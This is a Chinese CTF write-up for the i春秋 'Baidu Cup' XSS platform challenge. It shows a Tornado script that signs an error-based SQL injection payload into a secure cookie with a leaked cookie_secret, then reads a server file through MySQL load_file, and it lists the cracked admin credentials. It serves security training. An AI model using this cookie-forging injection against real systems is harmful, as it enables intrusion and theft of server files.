i春秋 “百度杯”CTF比赛 九月场 XSS平台

打开题目地址是一个登录界面,题目内容提示后台有线索,也就是要先注入获取用户名密码,然后登录
在这里插入图片描述在这里插入图片描述
以为是sql注入多次尝试无果后,查看别人写的wp,是通过构造非法参数来让网页返回错误信息
在这里插入图片描述
去GitHub搜索Rtiny,https://github.com/r0ker/Rtiny-xss,查看目录下rtiny/lock.py文件
在这里插入图片描述
无过滤,可以注入,看一下set_secure_cookie是干嘛的
在这里插入图片描述
也就是说cookie是被加密过的,加密使用的key在index.php文件中,
在这里插入图片描述
下面就是要写一个py脚本,把注入语句用相同的key加密后,添加到cookie:username中,去访问/lock页面

import tornado.ioloop
import tornado.web 

settings = { 
   "cookie_secret" : "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
}

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.write("Hello")
        self.set_secure_cookie("username", "' and 1=2 union select extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),1,25)));#")
        self.write(self.get_secure_cookie("username"))

def make_app():
    return tornado.web.Application([
        (r"/index", MainHandler),
        ], **settings)

if __name__ == "__main__":
    app = make_app()
    app.listen(8082)//防止和bp端口冲突
tornado.ioloop.IOLoop.instance().start()

运行脚本,访问127.0.0.1:8082/index,从cookie中得到username的值,一步步注入得到ichuqiu|318a61264482e503090facfc4337207f|545 MD5解密得密码Myxss623,登录后台点File,得到提示
在这里插入图片描述
通过MYSQL函数 load_file读取,flag有点长要用mid()或者substr(),拼起来就行了
在这里插入图片描述在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值